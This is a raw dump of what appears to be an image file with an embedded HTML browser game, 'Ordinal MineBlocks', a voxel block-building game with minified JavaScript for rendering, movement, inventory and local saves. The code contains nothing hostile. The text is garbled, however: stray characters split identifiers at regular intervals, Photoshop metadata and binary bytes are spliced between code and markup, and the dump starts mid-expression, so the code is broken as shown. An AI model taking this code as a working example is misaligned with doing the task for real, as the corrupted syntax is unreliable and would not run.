&n<19+(3&o*o*3+81*o>>2)&&(r=2*r/3)),3==e&&(i=14606046,0<o&&15>o&&(0<n&&15>n||16<n&&31>n||32<n&&47>n)&&(a=0)),4==e&&(i=8355711),5==e&&(i=11876885,(0==(o+4*(n>>2))%8||0==n%4)&&(i=12365733)),6==e&&(i=10519115,0==(0|16*Math.random())&&(r=255-(0|96*Math.random())),0==n%4&&(a=132)),7==e)if(i=6771249,0<o&&15>o&&(0<n&&15>n||32<n&&47>n)){i=12359778;var u=o-7,c=(15&n)-7;0>u&&(u=1-u),0>c&&(c=1-c),c>u&&(u=c),r=196-(0|32*Math.random())+u%3*32}else 0==(0|2*Math.random())&&(r=r*(140-100*(1&o))/100);8==e&&(i=5298487,0==(0|2*Math.rM
andom())&&(i=0,a=255)),9==e&&(i=4219135,a=192+(0|32*Math.random())),10==e&&(i=15810114,a=192+(0|32*Math.random()),0==(0|2*Math.random())&&(i=15834690)),11==e&&(i=4392035,0==(0|2*Math.random())&&(i=2294851)),12==e&&(i=15196080,1>16*Math.random()&&(a=164+4*o)),13==e&&(i=15200224,1>16*Math.random()&&(i=16232346));var f=function(t){2<o&&13>o&&(2<n&&13>n||18<n&&29>n)&&1>4*Math.random()&&(i=t)};14==e&&(i=8355711,f(15810114)),15==e&&(i=8355711,f(15778600)),16==e&&(i=8355711,f(4517357)),17==e&&(i=13704738,1>16*Math.random(M
)&&(a=164+4*o),0<=o&&14>o&&(0<n&&15>n||16<n&&31>n||32<n&&47>n)&&(32>n&&(i=15810114),r=255)),18==e&&(i=13673224,1>16*Math.random()&&(a=164+4*o),0<=o&&14>o&&(0<n&&15>n||16<n&&31>n||32<n&&47>n)&&(32>n&&(i=15778600),r=255)),19==e&&(i=3386283,1>16*Math.random()&&(a=164+4*o),0<=o&&14>o&&(0<n&&15>n||16<n&&31>n||32<n&&47>n)&&(32>n&&(i=4517357),r=255)),20==e&&(i=8355711,1<=(0|4*Math.random())&&(Math.random(),i=5277975));var s=(255&i>>16)*a/255<<16|(255&i>>8)*a/255<<8|(255&i)*a/255;t[o+16*n+256*e*3]=s}(o)}(n);return t}},funcM
tion(t,e,r){"use strict";var n=r(19),o=r(11);t.exports={clock:n,render:o}},function(t,e,r){"use strict";function n(t){return t&&t.__esModule?t:{default:t}}function o(){var t=window.game,e=t.ctx,r=t.pixels;window._tick+=1,d.applyGravity(),d.calculateMovement(),m(),f.default.drawIcons(),e.putImageData(r,0,0),f.default.drawHotbarBorder(),f.default.drawIconNumers(),(0,l.default)()}function i(t){var e=window.game.CONST.MAX_FPS;return t-h<1e3/e?window.requestAnimationFrame(i):(o(),h=t,void window.requestAnimationFrame(i)M
)}var a=r(1),u=n(a),c=r(10),f=n(c),s=r(20),l=n(s),d=r(9),v=r(11),m=v.render,h=0;t.exports={init:function(){window._tick=0;var t=document.querySelector(".fps");(0,u.default)(function(){var e=window._tick;window.game.fps=e,t&&(t.innerText=e.toString()+" fps"),window._tick=0}),window.requestAnimationFrame?window.requestAnimationFrame(i):setInterval(o,10)}}},function(t,e,r){"use strict";Object.defineProperty(e,"__esModule",{value:!0});var n,o,i,a=r(1),u=function(t){return t&&t.__esModule?t:{default:t}}(a);e.default=funM
ction(){var t=window.game,e=t.ctx,r=t.width,a=t.height;e.lineWidth=1,e.strokeStyle="#fff",e.strokeStyle="rgb("+n+","+o+","+i+")",e.strokeRect(r/2-1,a/2-1,2,2)},(0,u.default)(function(){var t=window.game,e=t.pixels,r=t.width,a=t.height,u=4*(r/2+(a/2-5)*r);n=255&e.data[u+0]+128,o=255&e.data[u+1]+128,i=255&e.data[u+2]+128})},function(t,e,r){"use strict";Object.defineProperty(e,"__esModule",{value:!0});var n=function(){function t(t,e){var r,n=[],o=!0,i=!1;try{for(var a,u=t[Symbol.iterator]();!(o=(a=u.next()).done)&&(n.M
push(a.value),!e||n.length!==e);o=!0);}catch(t){i=!0,r=t}finally{try{!o&&u.return&&u.return()}finally{if(i)throw r}}return n}return function(e,r){if(Array.isArray(e))return e;if(Symbol.iterator in Object(e))return t(e,r);throw new TypeError("Invalid attempt to destructure non-iterable instance")}}(),o=r(2),i=function(t){return t&&t.__esModule?t:{default:t}}(o),a=r(0);e.default=function(t,e,r,o){var u=window.game,c=u.pixels,f=u.width,s=i.default.color,l=(0,a.isInsideCheck)(),d=i.default.timeModifier(),v=s(),m=n(v,3)L
,h=m[0],p=m[1],w=m[2],y=255*r/48960;l||(y*=1-d/2);var g=(255&o>>16)*y,M=(255&o>>8)*y,b=(255&o)*y,_=4*(t+e*f);c.data[_+0]=g||h,c.data[_+1]=M||p,c.data[_+2]=b||w}}]);
</script></body></html>
http://ns.adobe.com/xap/1.0/
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 6.0-c002 79.164488, 2020/07/10-22:06:53        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.diM
d:e0d18448-e896-5e43-a0da-1b9382b0ded8" xmpMM:DocumentID="xmp.did:97054EDCAB7611ED8746ECFDD047F831" xmpMM:InstanceID="xmp.iid:97054EDBAB7611ED8746ECFDD047F831" xmp:CreatorTool="Adobe Photoshop 22.0 (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:65f01d11-2743-8540-befb-b7e649b23d47" stRef:documentID="adobe:docid:photoshop:dcf9be05-45ac-a547-91aa-cce425be1597"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
&2.&&&&.>55555>DAAAAAADDDDDDDDDDDDDDDDDDDDDDDDDDDDDM
&6& &6D6++6DDDB5BDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD
text/html;charset=utf-8
<!DOCTYPE html><html><head><style>
body{background:#DDDDDD}
canvas{image-rendering:pixelated;box-sizing:border-box}
body{text-align:center}
button{border-radius:4px}
.fixed{position:fixed;top:4px}
.fps{right:4px;font-family:Impact,Charcoal,sans-serif;color:white;-webkit-text-stroke:1px black;font-variant:small-caps;font-size:20px}
.hidables,.nosaving{display:none}
#lock,#save{background:none;background:#ffffff4d}
  line-height: 100vh;
  font-family: sans-serif
.extended #lock:after{background:#ffffff;content:" Options"}
.extended #save:after{background: #ffffff;content:" Save"}
.extended .hidables,.show{display:initial}
.text{color:#777;text-align:left;padding-left:20px;margin-bottom:80px}.text div{display:inline-block;width:48%}
.text:hover{color:#000}
/* Reset CSS */html{line-height:1.15;-webkit-text-size-adjust:100%}body{margin:0}main,details{display:block}h1{font-size:2em;margin:.67em 0}hr{box-M
sizing:content-box;height:0;overflow:visible}pre{font:1em monospace,monospace}a{background-color:transparent}abbr[title]{border-bottom:none;text-decoration:underline;text-decoration:underline dotted}b,strong{font-weight:bolder}code,kbd,samp{font:1em monospace,monospace}small{font-size:80%}sub,sup{font-size:75%;line-height:0;position:relative;vertical-align:baseline}sub{bottom:-.25em}sup{top:-.5em}img{border-style:none}button,input,optgroup,select,textarea{margin:0;font:100%/1.15 inherit}button,input{overflow:visiblM
e}button,select{text-transform:none}button,[type="button"],[type="reset"],[type="submit"]{-webkit-appearance:button}button::-moz-focus-inner,[type="button"]::-moz-focus-inner,[type="reset"]::-moz-focus-inner,[type="submit"]::-moz-focus-inner{border-style:none;padding:0}button:-moz-focusring,[type="button"]:-moz-focusring,[type="reset"]:-moz-focusring,[type="submit"]:-moz-focusring{outline:1px dotted ButtonText}fieldset{padding:.35em .75em .625em}legend{box-sizing:border-box;color:inherit;display:table;max-width:100M
%;padding:0;white-space:normal}progress{vertical-align:baseline}textarea{overflow:auto}[type="checkbox"],[type="radio"]{box-sizing:border-box;padding:0}[type="number"]::-webkit-inner-spin-button,[type="number"]::-webkit-outer-spin-button{height:auto}[type="search"]{-webkit-appearance:textfield;outline-offset:-2px}[type="search"]::-webkit-search-decoration{-webkit-appearance:none}::-webkit-file-upload-button{-webkit-appearance:button;font:;font-style:normal;font-variant:normal;font-weight:normal;font-family:inherit}M
summary{display:list-item}[hidden],template{display:none}
  <div id=toolbar class=fixed>
    <button id=lock>
    <button id=save>
    <span class=hidables>
      <button id=load>
      <button id=newseeed>
      <span> | </span>
      <button id=minus>
      <button id=plus>
      <button id=interlace>
  <div class="fixed fps">0</div>
=loading>Click Content to play @OrdMineBlocks</h1>
  <canvas id=game></canvas>
  <div class=center>
    <h1>Ordinal MineBlocks</h1>
    <p>Bringing Blocks on the Blockchain, On-Chain, Forever.</p>
      <h2>Join Us:</h2>
      <p>- Twitter: https://twitter.com/OrdMineBlocks </p>
      <p>- Discord: https://discord.gg/dAqfzKQDBj </p>
    <div class=center>
      <h2>Controls:</h2>
      <p>- <b>[wasd]</b> to move</p>
      <p>- <b>[e]</b> to toggle craftable items</p>
      <p>- <b>[spacebar]</b> to jumM
      <p>- Hold <b>[shift]</b> to take/build on liquids</p>
      <p>- <b>[left click]</b> to break a block</p>
      <p>- <b>[right click]</b> to build a block</p>
      <p>- <b>[number keys]</b> to change selected items</p>
<script type="text/javascript">
  !function(t){function e(n){if(r[n])return r[n].exports;var o=r[n]={i:n,l:!1,exports:{}};return t[n].call(o.exports,o,o.exports,e),o.l=!0,o.exports}var r={};e.m=t,e.c=r,e.d=function(t,r,n){e.o(t,r)||Object.defineProperty(t,r,{configurM
able:!1,enumerable:!0,get:n})},e.n=function(t){var r=t&&t.__esModule?function(){return t.default}:function(){return t};return e.d(r,"a",r),r},e.o=function(t,e){return Object.prototype.hasOwnProperty.call(t,e)},e.p="",e(e.s=12)}([function(t,e,r){"use strict";function n(t,e,r){try{return window.game.map[0|t][0|e][0|r]}catch(e){}}var o=r(1),i=function(t){return t&&t.__esModule?t:{default:t}}(o),a=!1,u=!1,c=!1,f=document.querySelector("#game");(0,i.default)(function(){u=!1}),t.exports={dlog:function(){c||(c=!0,console.M
log.apply(this,arguments),setTimeout(function(){return c=!1},500))},drawAllTextures:function(){for(var t=window.game,e=t.pixels,r=t.texmap,n=t.width,o=0;21>o;o++)for(var i=0;i<48;i++)for(var a=0;16>a;a++){var u=r[a+16*i+256*o*3],c=1.328125,f=16*o,s=f+a,l=n*i;16<o&&(s-=272,l=n*(i+48));var d=4*(s+l);e.data[d+0]=(255&u>>16)*c,e.data[d+1]=(255&u>>8)*c,e.data[d+2]=(255&u)*c}},getBlock:n,setBlock:function(t,e,r,n,o,i){if(o=o||window.game.map,!(255<t||255<e||255<r))try{o[t][e][r]!==i&&(o[t][e][r]=n)}catch(e){}},isInsideChM
eck:function(){if(u)return a;u=!0;for(var t,e=window.game.player,r=e.x,o=e.y,i=e.z,c=o;0<c;c--)if(0!==(t=n(r,c,i))&&8!==t)return a=!0;return a=!1},calcArcFromLength:function(t,e){var r=e/2;return(r-Math.abs(t-r))/r},tryCatch:function(t){var e=null;try{e=t()}catch(t){e=null}return e},getCanvas:function(){return f}}},function(t,e){"use strict";Object.defineProperty(e,"__esModule",{value:!0});var r=[];setInterval(function(){r.forEach(function(t){return t()})},1e3),e.default=function(t){r.push(t)}},function(t,e,r){"useM
 strict";function n(){return Math.abs(c)/255}function o(){var t=f[0],e=f[1],r=f[2],o=s[0],i=s[1],a=s[2],u=n(),c=[t*(1-u),e*(1-u),r*(1-u)],l=[o*u,i*u,a*u];return[c[0]+l[0],c[1]+l[1],c[2]+l[2]]}Object.defineProperty(e,"__esModule",{value:!0}),e.time=void 0;var i=function(){function t(t,e){var r,n=[],o=!0,i=!1;try{for(var a,u=t[Symbol.iterator]();!(o=(a=u.next()).done)&&(n.push(a.value),!e||n.length!==e);o=!0);}catch(t){i=!0,r=t}finally{try{!o&&u.return&&u.return()}finally{if(i)throw r}}return n}return function(e,r){iM
f(Array.isArray(e))return e;if(Symbol.iterator in Object(e))return t(e,r);throw new TypeError("Invalid attempt to destructure non-iterable instance")}}(),a=r(1),u=function(t){return t&&t.__esModule?t:{default:t}}(a),c=e.time=0,f=[154,218,255],s=[200,25,75];(0,u.default)(function(){e.time=c+=.5,255<c&&(e.time=c=-255)}),t.exports={color:function(){var t=o(),e=i(t,3),r=e[0],a=e[1],u=e[2],c=1-n();return[r*c,a*c,u*c]},timeModifier:n,setTime:function(t){e.time=c=parseFloat(t)},getTime:function(){return c}}},function(t,e,M
r){"use strict";Object.defineProperty(e,"__esModule",{value:!0});var n=r(0),o=function(t){return t&&t.__esModule?t:{default:t}}(n);e.default={safeGet:function(t){return o.default.tryCatch(function(){return localStorage.getItem(t)})||""},safeSet:function(t,e){return o.default.tryCatch(function(){return localStorage.setItem(t,e)})||""},exits:function(){try{return localStorage.getItem(null),!0}catch(t){return!1}}}},function(t){"use strict";t.exports={RES:{WIDTH:320,HEIGHT:240},MAP_SIZE:256,MAX_FPS:60,SEA_LEVEL:30,MAP_M
SCALE:31,JMP:{STR:.4,AMP:.001},BLOCKS_MAP:[[2,4,12,7,9,11,13,14,15,16],[1,20,3,6,10,8,5,17,18,19]],CRAFTABLES:{2:[1,1],4:[20,6],7:[6,.25],9:[10,8],11:[8,.5],12:[3,4],13:[5,2],14:[17,9],15:[18,9],16:[19,9]},LOCAL_STORAGE:["_mcm","_mcs","_mct","_mci"]}},function(t,e,r){"use strict";function n(t){for(var e=0;e<t.length;e++){var r=e%256,n=0|e/256%64,o=0|e/256/64;if("-"!==t[e]){var i=l.indexOf(t[e]);-1!==i&&(window.game.map[o][n][r]=i)}}}function o(t,e){for(var r="",n=0;n<e;n++)r+=t;return r}function i(t){for(var e,r=""M
,n="",i=0;i<t.length;i++)e=/\d/.test(t[i]),e?n+=t[i]:n?(r+=o(t[i],parseInt(n,10)),n=""):r+=t[i];return r}var a=r(0),u=r(2),c=r(3),f=function(t){return t&&t.__esModule?t:{default:t}}(c),s=r(6),l=Array(58).fill(1).map(function(t,e){return String.fromCharCode(65+e)});t.exports={main:function(){var t=window,e=t.game,r=f.default.safeGet("_mct"),o=(0,a.tryCatch)(function(){return JSON.parse(f.default.safeGet("_mci"))});o&&(e.hotbar.items=o.map(function(t){return null===t?1/0:t})),r&&(0,u.setTime)(r);var c=f.default.safeGM
et("_mcm");c&&n(i(s.decompress(c)))},unMinify:i}},function(t){"use strict";var e=String.fromCharCode,r=32768,n=Object.prototype.hasOwnProperty,o=Math.pow,i=function(t){return t.charCodeAt(0)};t.exports={compress:function(t){if(null==t)return"";var r,a,u,c=function(t){return e(t)},f={},s={},l="",d="",v="",m=2,h=3,p=2,w=[],y=0,g=0;for(u=0;u<t.length;u+=1)if(l=t.charAt(u),n.call(f,l)||(f[l]=h++,s[l]=!0),d=v+l,n.call(f,d))v=d;else{if(n.call(s,v)){if(256>i(v)){for(r=0;r<p;r++)y<<=1,15==g?(g=0,w.push(c(y)),y=0):g++;for(aM
=i(v),r=0;8>r;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)),y=0):g++,a>>=1}else{for(a=1,r=0;r<p;r++)y=y<<1|a,15==g?(g=0,w.push(c(y)),y=0):g++,a=0;for(a=i(v),r=0;16>r;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)),y=0):g++,a>>=1}m--,0==m&&(m=o(2,p),p++),delete s[v]}else for(a=f[v],r=0;r<p;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)),y=0):g++,a>>=1;m--,0==m&&(m=o(2,p),p++),f[d]=h++,v=l+""}if(""!==v){if(n.call(s,v)){if(256>i(v)){for(r=0;r<p;r++)y<<=1,15==g?(g=0,w.push(c(y)),y=0):g++;for(a=i(v),r=0;8>r;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)M
),y=0):g++,a>>=1}else{for(a=1,r=0;r<p;r++)y=y<<1|a,15==g?(g=0,w.push(c(y)),y=0):g++,a=0;for(a=i(v),r=0;16>r;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)),y=0):g++,a>>=1}m--,0==m&&(m=o(2,p),p++),delete s[v]}else for(a=f[v],r=0;r<p;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)),y=0):g++,a>>=1;0==--m&&(m=o(2,p),p++)}for(a=2,r=0;r<p;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)),y=0):g++,a>>=1;for(;;){if(y<<=1,15==g){w.push(c(y));break}g++}return w.join("")},decompress:function(t){var n,i,a,u,c,f,s,l=function(e){return t.charCodeAt(e)},d=[],M
v=4,m=4,h=3,p="",w=[],y={val:l(0),position:r,index:1};for(n=0;3>n;n+=1)d[n]=n;for(a=0,c=o(2,2),f=1;f!=c;)u=y.val&y.position,y.position>>=1,0==y.position&&(y.position=r,y.val=l(y.index++)),a|=(0<u?1:0)*f,f<<=1;switch(a){case 0:for(a=0,c=o(2,8),f=1;f!=c;)u=y.val&y.position,y.position>>=1,0==y.position&&(y.position=r,y.val=l(y.index++)),a|=(0<u?1:0)*f,f<<=1;s=e(a);break;case 1:for(a=0,c=o(2,16),f=1;f!=c;)u=y.val&y.position,y.position>>=1,0==y.position&&(y.position=r,y.val=l(y.index++)),a|=(0<u?1:0)*f,f<<=1;s=e(a);breaM
k;case 2:return""}for(d[3]=s,i=s,w.push(s);;){if(y.index>t.length)return"";for(a=0,c=o(2,h),f=1;f!=c;)u=y.val&y.position,y.position>>=1,0==y.position&&(y.position=r,y.val=l(y.index++)),a|=(0<u?1:0)*f,f<<=1;switch(s=a){case 0:for(a=0,c=o(2,8),f=1;f!=c;)u=y.val&y.position,y.position>>=1,0==y.position&&(y.position=r,y.val=l(y.index++)),a|=(0<u?1:0)*f,f<<=1;d[m++]=e(a),s=m-1,v--;break;case 1:for(a=0,c=o(2,16),f=1;f!=c;)u=y.val&y.position,y.position>>=1,0==y.position&&(y.position=r,y.val=l(y.index++)),a|=(0<u?1:0)*f,f<<M
=1;d[m++]=e(a),s=m-1,v--;break;case 2:return w.join("")}if(0==v&&(v=o(2,h),h++),d[s])p=d[s];else{if(s!==m)return null;p=i+i.charAt(0)}w.push(p),d[m++]=i+p.charAt(0),v--,i=p,0==v&&(v=o(2,h),h++)}}}},function(t,e,r){"use strict";var n=r(8),o=r(14),i=r(17);t.exports={mapDataType:n,map:o,textures:i}},function(t){"use strict";t.exports=function(){var t=window.game.CONST.MAP_SIZE;return Array(t).fill(0).map(function(){return Array(64).fill(0).map(function(){return Array(t).fill(0)})})}},function(t,e,r){"use strict";var nM
=Math.PI,o=Math.cos,i=Math.sin,a=function(){function t(t,e){var r,n=[],o=!0,i=!1;try{for(var a,u=t[Symbol.iterator]();!(o=(a=u.next()).done)&&(n.push(a.value),!e||n.length!==e);o=!0);}catch(t){i=!0,r=t}finally{try{!o&&u.return&&u.return()}finally{if(i)throw r}}return n}return function(e,r){if(Array.isArray(e))return e;if(Symbol.iterator in Object(e))return t(e,r);throw new TypeError("Invalid attempt to destructure non-iterable instance")}}(),u=r(4),c=r(10),f=r(0),s=f.getBlock,l={forward:0,backward:0,strafeLeft:0,stM
rafeRight:0,jump:0,jumping:0,shift:0};t.exports={applyGravity:function(){var t=window.game.CONST.JMP,e=t.AMP,r=t.STR,n=window.game.player,o=n.x,i=n.y,a=n.z;i+=2;var u=s(o,i,a);if(l.jump&&0<u&&(n.velocity=-r,l.jumping=1),l.jumping){n.velocity+=n.velocity+r+e,0<n.velocity&&(n.velocity=0,l.jumping=0);var c=s(o,n.y+n.velocity,a);return void(0==c?n.y+=n.velocity:9==c&&(n.y+=n.velocity/8))}if(0==u||9==u){3>n.velocity&&(n.velocity+=.2);var f=n.y+.1*n.velocity/(0==u?1:4),d=s(o,Math.ceil(f)+1,a);return void(n.y=0==d||9==d?fM
:0|f)}n.velocity=0},calculateMovement:function(){var t=window.game.player,e=s(t.x,t.y+1,t.z);if(l.forward||l.backward||l.strafeLeft||l.strafeRight){var r=9==e?16:8,a=t.x,u=t.y+1.8,c=t.z,f=i(t.yaw)/r,d=o(t.yaw)/r;l.forward?(a+=f,c+=d):l.backward&&(a-=f,c-=d);var v=t.yaw-n/2,m=i(v)/r,h=o(v)/r;l.strafeLeft?(a+=m,c+=h):l.strafeRight&&(a-=m,c-=h);var p=s(a,u,c);if(0==p||9==p)t.x=a,t.z=c;else{var w=s(a,u,t.z),y=s(t.x,u,c);0==w||9==w?t.x=a:(0==y||9==y)&&(t.z=c)}}},init:function(){var t=window.game,e=t.player,r=t.map,f=docM
ument.addEventListener,d=document.getElementById("game"),v=function(t){var r=t.movementX||t.mozMovementX||t.webkitMovementX||0,o=t.movementY||t.mozMovementY||t.webkitMovementY||0;e.yaw=(e.yaw+r/500)%7.855,e.pitch-=o/1e3;var i=n/2,a=-i;e.pitch<a&&(e.pitch=a),e.pitch>i&&(e.pitch=i)};d.addEventListener("click",function(){d.requestPointerLock=d.requestPointerLock||d.mozRequestPointerLock||d.webkitRequestPointerLock,d.requestPointerLock()}),f("keydown",function(t){t.preventDefault();var e=window,r=e.game,n=t.keyCode;16=M
=n?l.shift=1:65==n?l.strafeLeft=1:68==n?l.strafeRight=1:87==n?l.forward=1:83==n?l.backward=1:32==n?l.jump=1:48==n?r.hotbar.selected=9:49<=n&&57>=n?r.hotbar.selected=n-49:69==n&&(r.hotbar.side=r.hotbar.side?0:1)}),f("keyup",function(t){var e=t.keyCode;16==e?l.shift=0:65==e?l.strafeLeft=0:68==e?l.strafeRight=0:87==e?l.forward=0:83==e?l.backward=0:32==e&&(l.jump=0)}),f("click",function(t){for(var e,n=window.game,f=n.player,d=n.hotbar,v=d.items,m=f.x,h=f.y,p=f.z,w=[],y=0;6e3>y;y++){e=o(f.pitch),m+=i(f.yaw)*e/1e3,h-=i(fM
.pitch)/1e3,p+=o(f.yaw)*e/1e3;var g=s(m,h,p),M=0<g;if((9==g||10==g)&&(M=l.shift),M){if(0===t.button)r[0|m][0|h][0|p]=0,(0,c.inventoryAdd)(g);else if(2===t.button){var b=w,_=a(b,3),x=_[0],A=_[1],S=_[2],k=u.BLOCKS_MAP[d.side][d.selected],E=v[k];if(!E)return;r[0|x][0|A][0|S]=k||1,(0,c.inventoryRemove)(k)}return}w=[m,h,p]}}),["pointer","mozpointer","webkitpointer"].forEach(function(t){return document.addEventListener(t+"lockchange",function(){var t=document,e=t.pointerLockElement,r=t.mozPointerLockElement,n=t.webkitPoiM
nterLockElement;document[e==d||r==d||n==d?"addEventListener":"removeEventListener"]("mousemove",v)})})}}},function(t,e,r){"use strict";function n(t,e,r){for(var n=window.game,o=n.pixels,i=n.texmap,a=n.width,u=n.hotbar,c=0;16>c;c++)for(var f=0;16>f;f++){var s=i[f+16*(c+16)+256*t*3],l=u.items[t],d=1.328125,v=(255&s>>16)*d,m=(255&s>>8)*d,h=(255&s)*d,p=4*(e+f+(r+c)*a);if(!l){var w=(v+m+h)/6;v=w+v/3,m=w+m/3,h=w+h/3}o.data[p+0]=v,o.data[p+1]=m,o.data[p+2]=h}}function o(t,e,r){var n=window.game.ctx;if(void 0!=t&&t!==1/0){M
var o=999<t?(0|t/1e3)+"k":t;n.font="100 8px OCR A Std,Impact,monospace",n.strokeStyle="black",n.textAlign="right",n.lineWidth=2,n.fillStyle="#fff",n.strokeText(o,e,r),n.fillText(o,e,r)}}var i=function(){function t(t,e){var r,n=[],o=!0,i=!1;try{for(var a,u=t[Symbol.iterator]();!(o=(a=u.next()).done)&&(n.push(a.value),!e||n.length!==e);o=!0);}catch(t){i=!0,r=t}finally{try{!o&&u.return&&u.return()}finally{if(i)throw r}}return n}return function(e,r){if(Array.isArray(e))return e;if(Symbol.iterator in Object(e))return t(M
e,r);throw new TypeError("Invalid attempt to destructure non-iterable instance")}}(),a=r(4),u=a.BLOCKS_MAP,c=a.CRAFTABLES,f=function(){return(window.game.width-180)/2},s=function(){return window.game.height-16-8},l=function(t){var e=0;return Object.entries(c).some(function(r){var n=i(r,2),o=n[0],a=n[1];return i(a||[],1)[0]===t&&(e=o,!0)}),e};t.exports={drawIcons:function(){var t=window.game.hotbar;u[t.side].forEach(function(t,e){n(t,f()+18*e,s())})},drawHotbarBorder:function(){var t=window.game,e=t.ctx,r=t.hotbar,nM
=f()+18*r.selected;e.lineWidth=1,e.strokeStyle="#fff",e.strokeRect(n+1,s()+1,14,14),e.strokeStyle="#000",e.strokeRect(n,s(),16,16)},drawIconNumers:function(){for(var t=window.game.hotbar,e=t.side,r=0;10>r;r++){var n=f()+18*r,i=u[e][r];o(t.items[i],n+16,s()+16)}},inventoryAdd:function(t){var e=window.game.hotbar,r=e.items;r[t]++;var n=c[t];if(n){var o=i(n,2),a=o[0],u=o[1];return void(r[a]=0|r[t]/u)}var f=l(t);if(f){var s=i(c[f],2),d=s[1];r[f]+=d}},inventoryRemove:function(t){var e=window.game.hotbar,r=e.items;r[t]--M
;var n=c[t];if(n){var o=i(n,2),a=o[0],u=o[1];return void(r[a]=0|r[t]/u)}var f=l(t);if(f){var s=i(c[f],2),d=s[1];r[f]-=d}}}},function(t,e,r){"use strict";function n(t){return t&&t.__esModule?t:{default:t}}var o=Math.cos,i=Math.sin,a=r(2),u=n(a),c=r(1),f=n(c),s=r(21),l=n(s),d=r(0),v=0,m=0;(0,f.default)(function(){m=(m+1)%3}),t.exports={render:function(){var t=window.game,e=t.texmap,r=t.width,n=t.height,a=t.player,c=t.CONST,f=(t.fps,t.scanlinesEnabled),s=t.renderDistance,h=o(a.pitch),p=i(a.pitch),w=o(a.yaw),y=i(a.yaw)M
,g=a.x-(0|a.x),M=a.y-(0|a.y),b=a.z-(0|a.z);v=v?0:1;for(var _=0;_<r;_++)for(var x=(0,d.calcArcFromLength)(_,r),A=(_-r/2)/n,S=f?_%2+v-1:0;S<n;S+=f?2:1){for(var k,E=(0,d.calcArcFromLength)(S,n),L=s+(s*x+s*E)/2,T=(S-n/2)/n,C=h+T*p,O=T*h-p,I=A*w+C*y,P=C*w-A*y,j=0,R=255,z=0;3>z;z++){k=I,1==z&&(k=O),2==z&&(k=P);var B=1/Math.abs(k),N=I*B,D=O*B,F=P*B,G=g;1==z&&(G=M),2==z&&(G=b),0<k&&(G=1-G);var q=a.x+N*G,H=a.y+D*G,W=a.z+F*G;0>k&&(z||q--,1==z&&H--,2==z&&W--);for(var X,Z=B*G,J=c.MAP_SIZE-1;Z<L;){if(X=(0,d.getBlock)(q&J,63&H,WM
&J),(W>J||63<H||q>J||0>W||0>H||0>q)&&(X=0),0<X){var K=15&16*(q+W),Y=16+(15&16*H);1==z&&(K=15&16*q,Y=15&16*W,0>D&&(Y+=32));var V=e[K+16*Y+256*X*3];if(0<V){if(j=V,1==z&&(9==X||10==X)){var U=K+Y*(m+1)*16+256*X*3;9==X&&7680>U?j=e[U]:10==X&&8680>U&&(j=e[U])}var Q=u.default.timeModifier(),$=1-Z/s*Q;R=(255-(z+2)%3*50)*$,L=Z}}q+=N,H+=D,W+=F,Z+=B}}(0,l.default)(_,S,R,j)}}}},function(t,e,r){"use strict";function n(t){return t&&t.__esModule?t:{default:t}}var o=r(13),i=n(o),a=r(5),u=n(a),c=r(2),f=r(1),s=n(f),l=r(0),d=r(3),v=n(M
d),m=r(9),h=r(7),p=r(18),w=r(4),y=w.RES,g=y.WIDTH,M=y.HEIGHT,b=0|w.MAP_SIZE/2;document.title="Ordinal MineBlocks",window.game={CONST:w},window.game={CONST:w,width:g,height:M,getTime:c.getTime,setTime:c.setTime,player:{x:b,y:0,z:b,velocity:0,pitch:-.1,yaw:0},hotbar:{selected:0,side:0,items:Array(21).fill(0)},map:h.map(),texmap:h.textures(),ctx:document.getElementById("game").getContext("2d"),fps:0,scanlinesEnabled:!0,renderDistance:32},document.addEventListener("DOMContentLoaded",function(){var t=window,e=t.game,r=eM
.width,n=e.height,o=e.ctx,a=document.getElementById("toolbar"),c=(0,l.getCanvas)();c.width=r,c.height=n;var f=function(){var t=1.3334*window.innerHeight,e=window.innerHeight;.75*window.innerWidth<window.innerHeight&&(t=window.innerWidth,e=.75*window.innerWidth),c.setAttribute("style","width: "+t+"px; height: "+e+"px")};e.pixels=o.createImageData(r,n),e.pixels.data.fill(255),window.addEventListener("resize",f),f(),m.init(),p.clock.init(),setTimeout(u.default.main,500),(0,s.default)(function(){window.game}),a.addEvenM
tListener("click",function(t){var r=t.target.id;"lock"===r?a.classList.toggle("extended"):"save"===r?(0,i.default)():"load"===r?window.location.reload():"plus"===r?e.renderDistance+=5:"minus"===r?e.renderDistance-=5:"interlace"===r?setTimeout(function(){return e.scanlinesEnabled=!e.scanlinesEnabled},1):"newseeed"===r&&confirm("Generate a new seed? This will erase your current save.")&&(w.LOCAL_STORAGE.forEach(function(t){return localStorage.removeItem(t)}),v.default.safeSet("_mcs",0|Math.random()*Number.MAX_SAFE_INM
TEGER),window.location.reload()),5>e.renderDistance?e.renderDistance=5:255<e.renderDistance&&(e.renderDistance=255)})})},function(t,e,r){"use strict";function n(t){return t&&t.__esModule?t:{default:t}}function o(){for(var t="",e=m(h()),r=m(window.game.map),n=0;n<r.length;n++){var o=e[n],i=r[n];t+=o===i?"-":i}return t}function i(t){for(var e="",r=t[0],n=1,o=1;o<t.length;o++)t[o]===r?n++:(e+=1==n?r:n+r,r=t[o],n=1);return e+=n+r}Object.defineProperty(e,"__esModule",{value:!0}),e.stringify=void 0;var a=r(5),u=r(2),c=r(M
